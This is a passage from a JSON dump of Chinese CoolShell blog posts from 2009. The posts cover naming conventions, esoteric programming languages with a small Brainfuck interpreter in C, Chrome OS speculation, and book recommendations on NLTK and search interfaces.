另外，好的代码审查应该不是当代码完成的时候，而是在代码编写的过程中，不断地迭代代码审查。好的实践的，无论代码是否完成，代码审核需要几天一次地不断地进行。\n\n\n（**我以我个人的语言叙述本文，并加入了我个人的经历，所以，请你在转载时请注意作者和出处，并且，请勿用于商业用途**）\n\n\n文章：[来源](http://makinggoodsoftware.com/2009/06/04/10-commandments-for-creating-good-code/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [优质代码的十诫](https://coolshell.cn/articles/1007.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-7 编程中的命名设计那点事.md",
    "content": "---\nlayout: post\ntitle: 编程中的命名设计那点事\ndate: 2009/6/7/ 8:36:49\nupdated: 2009/6/7/ 8:36:49\nstatus: publish\npublished: true\ntype: post\n---\n\n在我开始设计系统的时候，我会花去很多时间去设计命名，因为好的命名和好的设计是分不开的。\n\n\n\n> In the beginning was the **Word**, and the Word was with God, and the Word was God  \n> \n> 太初有道。道与神同在，道就是神。 (约翰福音第一章，第一节)\n> \n> \n\n\n在设计过程中给类，方法和函数好的命名会带来好的设计，虽然这不是一定成立，但是如果坏的命名那一定不会给你带来好的设计。在设计过程，如果你发现你很难命名某一个模块，某个方法时，可能你真正遇到的问题不是难命名的问题，而是这个设计是否真的合理，你或许应该花更多的时间来重新设计一下你的模块。\n\n\n好的命名不仅会带来好的设计，好的命名还提高了程序的可读性，降低代码维护的成本。另一方面，如果糟糕的命名会给代码带来一堵无形的墙，让你必须深入代码去研究代码具有的行为，增加你理解代码的时间。\n\n\n为此我总结了几条关于命名的指导原则，希望这几条原则能为你的命名设计带来帮助，我使用的是C++的语法，当然这些原则也很容易扩展到其他语言中去。\n\n\n### 类型命名(类，接口，和结构)\n\n\n  \n\n\n\n\n**名字应该尽量采用名词**  \n\n`Bad:           Happy  \n\nGood:          Happiness`\n\n\n\n**不要使用类似名字空间的前缀**  \n\n`Bad:           SystemOnlineMessage  \n\nGood:          System::Online:Message`\n\n\n**形容词不要用太多，能描述清楚就行**  \n\n`Bad:           IAbstractFactoryPatternBase  \n\nGood:          IFactory`\n\n\n**在类型中不要使用Manager 或则 Helper 或则其他没意义的单词**  \n\n如果你一定要在一个类型上加上Manager或Helper，那么这个类型要么就是命名的非常糟糕，要么就是设计的非常糟糕，如果是后则，那么这个类型就应该管理manage和帮助help一下自己了。  \n\n`Bad:           ConnectionManager  \n\n               XmlHelper  \n\nGood:          Connection  \n\n               XmlDocument, XmlNode, etc.`\n\n\n**如果某个类不能通过简单的命名来描述它具有的功能，可以考虑用类比的方式来命名** `Bad:           IncomingMessageQueue  \n\n               CharacterArray  \n\n               SpatialOrganizer  \n\nGood:          Mailbox  \n\n               String  \n\n               Map`\n\n\n**如果你使用类比，你就应该一致的使用它们**  \n\n`Bad:           Mailbox,DestinationID  \n\nGood:          Mailbox,Address`\n\n\n### 函数(方法和过程)\n\n\n  \n\n\n\n\n**简洁**  \n\n`Bad:           list.GetNumberOfItems()  \n\nGood:          list.Count()`\n\n\n**不要太简洁**  \n\n`Bad:           list.Verify()  \n\nGood:          list.ContainsNull()`\n\n\n**避免缩写**  \n\n`Bad:           list.Srt()  \n\nGood:          list.Sort()`\n\n\n**对于完成某件事情的函数使用动词**  \n\n`Bad:           obj.RefCount();  \n\nGood:          list.Clear();  \n\n               list.Sort();  \n\n               obj.AddReference();`\n\n\n**对于返回布尔型的函数，使用类似提问的方式**  \n\n`Bad:           list.Empty();  \n\nGood:          list.IsEmpty();  \n\n               list.Contains(item);`\n\n\n**对于只是返回属性，而不改变状态的函数则使用名词**  \n\n`Bad:           list.GetCount();  \n\nGood:          list.Count();`\n\n\n**不要在函数名字中重复参数的名称**  \n\n`Bad:           list.AddItem(item);  \n\n               handler.ReceiveMessage(msg);  \n\nGood:          list.Add(item);  \n\n               handler.Receive(msg);`\n\n\n**不要方法的名字中重复此方法的类的名称**  \n\n`Bad:           list.AddToList(item);  \n\nGood:          list.Add(item);`\n\n\n**不要在函数的名字中加入返回类型，除非函数名必须以返回类型进行区别**  \n\n`Bad:           list.GetCountInt();  \n\nGood:          list.GetCount();  \n\n               message.GetIntValue();  \n\n               message.GetFloatValue();`\n\n\n**不要名字中使用And 或则 Or**  \n\n如果你使用一个连接词来连接函数名，那么这个函数肯定是做了太多的事情，更好的做法是将其分成更小的函数来处理(类似面向对象设计准则中的责任单一原则)。  \n\n如果你想确保是这是一个原子的操作，那么你应该用一个名字来描述这个操作或一个类来封装他  \n\n`Bad:           mail.VerifyAddressAndSendStatus();  \n\nGood:          mail.VerifyAddress();  \n\n               mail.SendStatus();`\n\n\n这是一篇非常优秀的文章，我用我的语言在组织了一下，如果喜欢英文的读者可以点击[这里](http://journal.stuffwithstuff.com/2009/06/05/naming-things-in-code/)阅读原文\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [编程中的命名设计那点事](https://coolshell.cn/articles/990.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-12 BT雷人的程序语言.md",
    "content": "---\nlayout: post\ntitle: BT雷人的程序语言\ndate: 2009/7/12/ 3:7:3\nupdated: 2009/7/12/ 3:7:3\nstatus: publish\npublished: true\ntype: post\n---\n\n这个世界从来都不会缺少另类的东西，人类自然世界如此，计算机世界也一样。编程语言方面，看过本站《[6个变态的C语言Hello World程序](../?p=914 \"6个变态的C语言Hello World程序 - 661次点击\")》的朋友们一定对BT和另类不会陌生，但那都是些小儿科，真正的BT和另类要是从语言级上来完成。让我们来看看其中一个比较另类的语言BrainFuck。看到这个程序语言的名字，请不要以为这是一个搞笑的语言，这是一个“严肃事情”，请大家用“最虔诚的态度”来阅读本文。\n\n\n#### BF语言介绍\n\n\n**Brainfuck**，是一种极小化的计算机语言，它是由Urban Müller在1993年创建的。由于“绿王八”的原因，这种语言有时被称为**brainf\\*\\*k**或**brainf\\*\\*\\***，甚至被简称为**BF**。这种 语言，是一种按照“Turing complete（完整图灵机）”思想设计的语言，它的主要设计思路是：用最小的概念实现一种“简单”的语言，BrainF\\*\\*k 语言只有八种符号，所有的操作都由这八种符号的组合来完成。\n\n\nBF基于一个简单的机器模型，除了八个指令，这个机器还包括：一个以字节为单位、被初始化为零的数组、一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流。\n\n\n下面是这八种指令的描述，其中每个指令由一个字符标识：\n\n\n\n\n\n| 字符 | 含义 |\n| --- | --- |\n| `>` | 指针加一 |\n| `<` | 指针减一 |\n| `+` | 指针指向的字节的值加一 |\n| `-` | 指针指向的字节的值减一 |\n| `.` | 输出指针指向的单元内容（ASCII码） |\n| `,` | 输入内容到指针指向的单元（ASCII码） |\n| `[` | 如果指针指向的单元值为零，向后跳转到对应的`]`指令的次一指令处 |\n| `]` | 如果指针指向的单元值不为零，向前跳转到对应的`[`指令的次一指令处 |\n\n\n（按照更节省时间的简单说法，`]`也可以说成“向后跳转到对应的`[`状态”。这两解释是一样的。）\n\n\n（第三种同价的说法，`[`意思是”向前跳转到对应的`]`“，`]`意思是”向后跳转到对应的`[`指令的次一指令处，如果指针指向的字节非零。”）\n\n\nBrainfuck程序可以用下面的替换方法翻译成C语言（假设`ptr`是`char*`类型）：\n\n\n\n\n| Brainfuck | C |\n| --- | --- |\n| `>` | `++ptr;` |\n| `<` | `--ptr;` |\n| `+` | `++*ptr;` |\n| `-` | `--*ptr;` |\n| `.` | `putchar(*ptr);` |\n| `,` | `*ptr =getchar();` |\n| `[` | `while (*ptr) {` |\n| `]` | `}` |\n\n\n#### BF解释器\n\n\n因为 BrainFuck 只有八种指令，并且没有关键字，也不允许自定义标识符，因此它的编译器实现起来非常简单，初学 C 语言不久的人都可以自己编出来，尽管在座的各位每人都可以自己编一个，不过为了引起大家的兴趣，我这里还是给出大家一个官方发布的版本。这个程序只有短短 50 多行，并且完全由 ANSI C 写成，因此你随便找个 C 语言编译器，把它编译一下。\n\n\n\n```\n\n#include <stdio.h>;\n\nint  p, r, q;\nchar a[5000], f[5000], b, o, *s=f;\n\nvoid interpret(char *c)\n{\n    char *d;\n\n    r++;\n    while( *c ) {\n        //if(strchr(\"<>;+-,.[]\\n\",*c))printf(\"%c\",*c);\n        switch(o=1,*c++) {\n            case '<': p--;        break;\n            case '>;': p++;       break;\n            case '+': a[p]++;     break;\n            case '-': a[p]--;     break;\n            case '.': putchar(a[p]); fflush(stdout); break;\n            case ',': a[p]=getchar();fflush(stdout); break;\n            case '[':\n                for( b=1,d=c; b && *c; c++ )\n                b+=*c=='[', b-=*c==']';\n                if(!b) {\n                    c[-1]=0;\n                    while( a[p] )\n                    interpret(d);\n                    c[-1]=']';\n                    break;\n                }\n            case ']':\n                puts(\"UNBALANCED BRACKETS\"), exit(0);\n            case '#':\n                if(q>;2)\n                printf(\"%2d %2d %2d %2d %2d %2d %2d %2d %2d %2d\\n%*s\\n\",\n                *a,a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9],3*p+2,\"^\");\n                break;\n            default: o=0;\n        }\n        if( p<0 || p>;100)\n            puts(\"RANGE ERROR\"), exit(0);\n    }\n    r--;\n    //        chkabort();\n}\n\nmain(int argc,char *argv[])\n{\n    FILE *z;\n\n    q=argc;\n\n    if(z=fopen(argv[1],\"r\")) {\n        while( (b=getc(z))>;0 )\n            *s++=b;\n        *s=0;\n        interpret(f);\n    }\n}\n\n```\n\n当然，如果你觉得用C语言来实现BrainFuck语言的解释器是对BrainFuck这种语言的一种侮辱的话，我们的BrainFuck社区是绝对不能容忍你有这种想法的。因为我们有一个使用100%纯brainfuck写成的一个编译器**awib**：<http://code.google.com/p/awib/>\n\n\n#### Hello World\n\n\n\n```\n++++++++++[>+++++++>++++++++++>+++>+<<<<-]\n>++.>+.+++++++..+++.>++.<<+++++++++++++++.\n>.+++.------.--------.>+.>.\n```\n\n怎么？看不懂吗？下面是解释：\n\n\n\n```\n+++ +++ +++ +           initialize counter (cell #0) to 10\n[                       use loop to set the next four cells to 70/100/30/10\n    > +++ +++ +             add  7 to cell #1\n    > +++ +++ +++ +         add 10 to cell #2\n    > +++                   add  3 to cell #3\n    > +                     add  1 to cell #4\n    <<< < -                 decrement counter (cell #0)\n]\n>++ .                   print 'H'\n>+.                     print 'e'\n+++ +++ +.              print 'l'\n.                       print 'l'\n+++ .                   print 'o'\n>++ .                   print ' '\n<<+ +++ +++ +++ +++ ++. print 'W'\n>.                      print 'o'\n+++ .                   print 'r'\n--- --- .               print 'l'\n--- --- --.             print 'd'\n>+.                     print '!'\n>.                      print '\\n'\n```\n\n**相关链接**：\n\n\n* BF的官网：<http://www.muppetlabs.com/~breadbox/bf/>。\n* BF的Wikipedia：<http://en.wikipedia.org/wiki/Brainfuck>。\n\n\n#### 其它另类语言\n\n\n如果你要觉得BF已经很BT了，那么你就错了，下面这些程序语言更BT。\n\n\n**WhiteSpace语言**\n\n\n这是一种只用空白字符（空格，TAB和回车）编程的语言，而其它可见字符统统为注释。下面是它的一个示例：\n\n\n \n\n\n\n```\n  \t\t \t\n\t\n  \t\n  \n\t\n\n```\n\n什么？你什么也没有看见，这就对了，因为这正是这门语言的独特之处。访问下面这个链接查看[Hello,World示例](http://compsoc.dur.ac.uk/whitespace/hworld.ws)。记得按Ctrl+A来查看程序。\n\n\n官网：<http://compsoc.dur.ac.uk/whitespace/index.php>。\n\n\n**LOLCODE语言**\n\n\nLOLCODE是一种建立在高度缩写的网络英语之上的编程语言，一般来说如果一个人能理解这种网络英语就能在未经训练的情况下读懂LOLCODE程序源代码。下面是其Hello,World例程：\n\n\n\n```\nHAI\nCAN HAS STDIO?\nVISIBLE \"HAI WORLD!\"\nKTHXBYE\n```\n\n翻译成中文就是：\n\n\n\n```\n嗨\n我可以用 STDIO 么？\n显示一下 “HAI WORLD!”\n谢谢啊，再见\n```\n\n \n\n\n官网：<http://lolcode.com/>\n\n\n**中文编程语言**\n\n\n不要以为只有老外才那么BT，咱们中国也有自己的BT编程语言。\n\n\n**中文Basic**\n\n\n\n\n|  |  |  |\n| --- | --- | --- |\n| 中文指令 |  | 对应于的Applesoft BASIC |\n| 10 卜=0 |  | 10 Y=0 |\n| 20 入 水, 火 |  | 20 INPUT E, F |\n| 30 從 日 = 水 到 火 |  | 30 FOR A = E TO F |\n| 40 卜 = 卜+對數(日) |  | 40 Y = Y + LOG (A) |\n| 50 下一 日 |  | 50 NEXT A |\n| 60 印 卜 |  | 60 PRINT Y |\n\n\n官网无法访问了，只能看看Wikipedia了：<http://en.wikipedia.org/wiki/Chinese_BASIC>\n\n\n**中蟒语言（中文Python）**\n\n\n下面的程序是不是很Cool？\n\n\n\n```\n#!/usr/local/bin/cpython\n回答 = 读入('你认为中文程式语言有存在价值吗 ? (有/没有)')\n如 回答 == '有':\n写 '好吧, 让我们一起努力!'\n不然 回答 == '没有':\n写 '好吧,中文并没有作为程式语言的价值.'\n否则:\n写 '请认真考虑后再回答.'\n```\n\n官网：[http://www.chinesepython.org/](http://www.chinesepython.org/cgi_bin/cgb.cgi/home.html)\n\n\n差不多了，该结束了，再次说明，这是一篇很严肃的文章。\n\n\n(**全文完**)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/4458.html)[BT雷人的程序语言（大全）](https://coolshell.cn/articles/4458.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\nThe post [BT雷人的程序语言](https://coolshell.cn/articles/1142.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-12 关于 Chrome OS 的一些推论.md",
    "content": "---\nlayout: post\ntitle: 关于 Chrome OS 的一些推论\ndate: 2009/7/12/ 17:4:14\nupdated: 2009/7/12/ 17:4:14\nstatus: publish\npublished: true\ntype: post\n---\n\n最近Chrome OS被炒作得火热。\n\n\n为什么还有一年后才发布的产品这么早会公布于众？其实不难想象，一个系统级别的产品的推行必须要跟很多OEM厂家谈合作。而你几乎不可能只是秘密地跟一个大公司的2-3个工程总监就能把这种合作谈定，而大多数的OEM公司，例如 DELL， Asus， Acer等这样的公司都不是技术为主导的，商业人士会很早参与意见和项目的计划，一旦知道的人多了，其实也没什么能保密的了。虽然，这样荒腔走板的发布很可能像伤害Android一样伤害Chrome OS。\n\n\n为什么Chrome OS和Android是如此独立的两个东西，看似又是在解决一个方向上的问题呢？其实也不难推测。[Android是Google买下来的公司](http://www.businessweek.com/technology/content/aug2005/tc20050817_0949_tc024.htm)，其带队的Andy Rubin肯定是个对移动设备的能力有远见的大佬，而Chrome浏览器的领袖 Linus Upson是做V8 Engine的，一定对云和未来的Web Apps有着更坚定的远景。当两个这样强势的团队在公司各自划定地盘以后，融合的可能性就相对小了。\n\n\n  \n\n另，人们对netbook的遐想自然会把所有可能的技术都考虑一遍，尤其是Android这样先进而开源的东西，自然会有把自己定位为先驱的生产商拿来尽早发布netbook产品占领口碑上的“技术制高点”，但是这是不是一定意味着Android在netbook上有一席之地，由市场决定。\n\n\n* Android是为了更强大的移动设备：有耳朵，有眼睛，知道自己的方位和姿态，方便社交和更好的跟Google产品的融合。\n* Chrome是为了更好的云端体验：手上的netbook设备启动几秒就能用，操作系统版本永远最新（[安静地后台自动更新更安全](http://www.techzoom.net/publications/silent-updates/)）换台机器登陆后，无需配置升级，所有的东西看起来都还一样，所有的东西为Web Apps加速，使人们不在感觉到操作系统的存在。\n\n\n总而言之，以下几个推论：\n\n\n1. Chrome OS上能不能用Android的Apps （store）？很可能，干嘛不？\n2. Chrome OS上能不能装浏览器？估计可以，但是有啥必要呢？\n3. Android上的浏览器会不会是Chrome?不太值得讨论，他们都基于webkit， 而且共用插件应该不困难，留给社区开发可能更合适\n4. Chrome OS会不会和Android合并?短时间不会，就像地线电话和手机一样，但是又有多大差别呢？\n\n\n两个可能赢的赛马，两个都赌的话……\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/3549.html)[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html)\n* [![Google App Inventor ](../wp-content/uploads/2010/07/androidappinventor-150x150.jpg)](https://coolshell.cn/articles/2608.html)[Google App Inventor](https://coolshell.cn/articles/2608.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\nThe post [关于 Chrome OS 的一些推论](https://coolshell.cn/articles/1152.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-15 Python 自然语言处理.md",
    "content": "---\nlayout: post\ntitle: Python 自然语言处理\ndate: 2009/7/15/ 14:41:56\nupdated: 2009/7/15/ 14:41:56\nstatus: publish\npublished: true\ntype: post\n---\n\n推荐一本免费的在线电子书，《用Python进行自然语言处理》， 用[NLP 工具包](http://www.google.com/search?hl=en&q=nlp+toolkit+python)（开源免费，Python）来进行文本分析。特别适合初学计算语言学的学生。好像没有好的中文切词。当然，免不了需要提一下 Dan Jurafsky 教授，大家可以搜索一下，找找他的讲义。\n\n\n简要翻译一下提纲：\n\n\n\n（书的主站点：<http://www.nltk.org/>）\n\n\n* 序言\n* 用Python进行语言处理\n* 使用文本语料库和辞典资源\n* 处理原始文本\n* 结构化变成\n* 词语的分类和标签\n* 学习文本分类\n* 从文本中信息抽取\n* 分析句法结构\n* 创建基于特征的语法\n* 分析句子的意思\n* 管理语言学数据\n* 后记：直面语言带来的挑战\n\n\nNatural Language Processing with Python  \n\n— Analyzing Text with the Natural Language Toolkit\n\n\nSteven Bird, Ewan Klein, and Edward Loper\n\n\n\n0. [Preface](http://nltk.googlecode.com/svn/trunk/doc/book/ch00.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch00-extras.html)) \n1. [Language Processing and Python](http://nltk.googlecode.com/svn/trunk/doc/book/ch01.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch01-extras.html)) \n2. [Accessing Text Corpora and Lexical Resources](http://nltk.googlecode.com/svn/trunk/doc/book/ch02.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch02-extras.html)) \n3. [Processing Raw Text](http://nltk.googlecode.com/svn/trunk/doc/book/ch03.html)\n4. [Writing Structured Programs](http://nltk.googlecode.com/svn/trunk/doc/book/ch04.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch04-extras.html)) \n5. [Categorizing and Tagging Words](http://nltk.googlecode.com/svn/trunk/doc/book/ch05.html)\n6. [Learning to Classify Text](http://nltk.googlecode.com/svn/trunk/doc/book/ch06.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch06-extras.html)) \n7. [Extracting Information from Text](http://nltk.googlecode.com/svn/trunk/doc/book/ch07.html)\n8. [Analyzing Sentence Structure](http://nltk.googlecode.com/svn/trunk/doc/book/ch08.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch08-extras.html)) \n9. [Building Feature Based Grammars](http://nltk.googlecode.com/svn/trunk/doc/book/ch09.html)\n10. [Analyzing the Meaning of Sentences](http://nltk.googlecode.com/svn/trunk/doc/book/ch10.html) ([extras](http://nltk.googlecode.com/svn/trunk/doc/book/ch10-extras.html)) \n11. [Managing Linguistic Data](http://nltk.googlecode.com/svn/trunk/doc/book/ch11.html)\n12. [Afterword: Facing the Language Challenge](http://nltk.googlecode.com/svn/trunk/doc/book/ch12.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\nThe post [Python 自然语言处理](https://coolshell.cn/articles/1157.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-16 （免费在线）新书推荐：搜索的用户界面.md",
    "content": "---\nlayout: post\ntitle: （免费在线）新书推荐：搜索的用户界面\ndate: 2009/7/16/ 13:23:39\nupdated: 2009/7/16/ 13:23:39\nstatus: publish\npublished: true\ntype: post\n---\n\n题外话：剑桥大学出版社很有意思，允许作者把书的全部内容放在网上，例如：[Christopher D. Manning](http://nlp.stanford.edu/~manning/), [Prabhakar Raghavan](http://theory.stanford.edu/people/raghavan/) and [Hinrich Schütze](http://www-csli.stanford.edu/~hinrich),*[Introduction to Information Retrieval](http://www-csli.stanford.edu/~hinrich/information-retrieval-book.html)*, Cambridge University Press. 2008.\n\n\n《[搜索的用户界面](http://searchuserinterfaces.com/book/)》的作者[Marti Hearst](http://people.ischool.berkeley.edu/~hearst/)是加州大学伯克利分校研究信息可视化的一位大儒，她有很多带有认知心理学加设计的尝试，在信息检索这门学科里的信息可视化领域很有地位。我斗胆把她的新书的梗概在这里描述一下，习惯看英文的朋友们可以点击链接去看英文原文，不喜欢看英文的朋友们可以有选择的看看我这里的总结，然后硬硬头皮，跳进去啃一些具体章节吧。本书可能收益的人有：对搜索有兴趣的学生，工业界做设计和评估的专业人士，对技术中的人本主义感兴趣的人，书痴。\n\n\n\n\n> 译文：[本书综述](http://searchuserinterfaces.com/book/sui_ch0_preface.html)\n> \n> \n> 本书概括了信息寻找过程中人的方面，并专注于其中被用户界面可以支持的方面。本书描述一些用户界面的一般方法论，尤其是搜索的用户界面以及如何评估好的搜索界面。本书讨论了以下几个领域的研究成果和工业实践： 查询的界定，搜索结果的显示，搜索结果分组，信息内的浏览导航，用户重新界定查询，个人化的搜索，以及更广义上的信息使用和文本分析。大多数的讨论还是和网页搜索引擎相关，但是本书也照顾到了其他类型的搜索。如下章节：\n> \n> \n> 1. 搜索界面的设计\n> 2. 评估搜索界面\n> 3. 信息搜寻的模型\n> 4. 界定查询\n> 5. 搜索结果的呈现\n> 6. 用户重新界定搜索\n> 7. 支持搜索过程的一些手段：搜索历史，在搜索结果中再搜索，帮助用户理解如何更好搜索\n> 8. 整合浏览导航和搜索\n> 9. 搜索过程中的个人化\n> 10. 搜索界面的可视化（如何呈现搜索结果）\n> 11. 文本分析中的可视化\n> 12. 搜索界面中的一些新趋势\n> \n> \n> 本书是以前98年一个经典书的扩充和更新：Modern Information Retrieval, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley\n> \n\n\n本书是以前98年一个经典书的扩充和更新：*Modern Information Retrieval*, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/3723.html)[（麻省理工免费课程）计算机科学和编程导论](https://coolshell.cn/articles/3723.html)\nThe post [（免费在线）新书推荐：搜索的用户界面](https://coolshell.cn/articles/1163.html) first appeared on [酷 壳 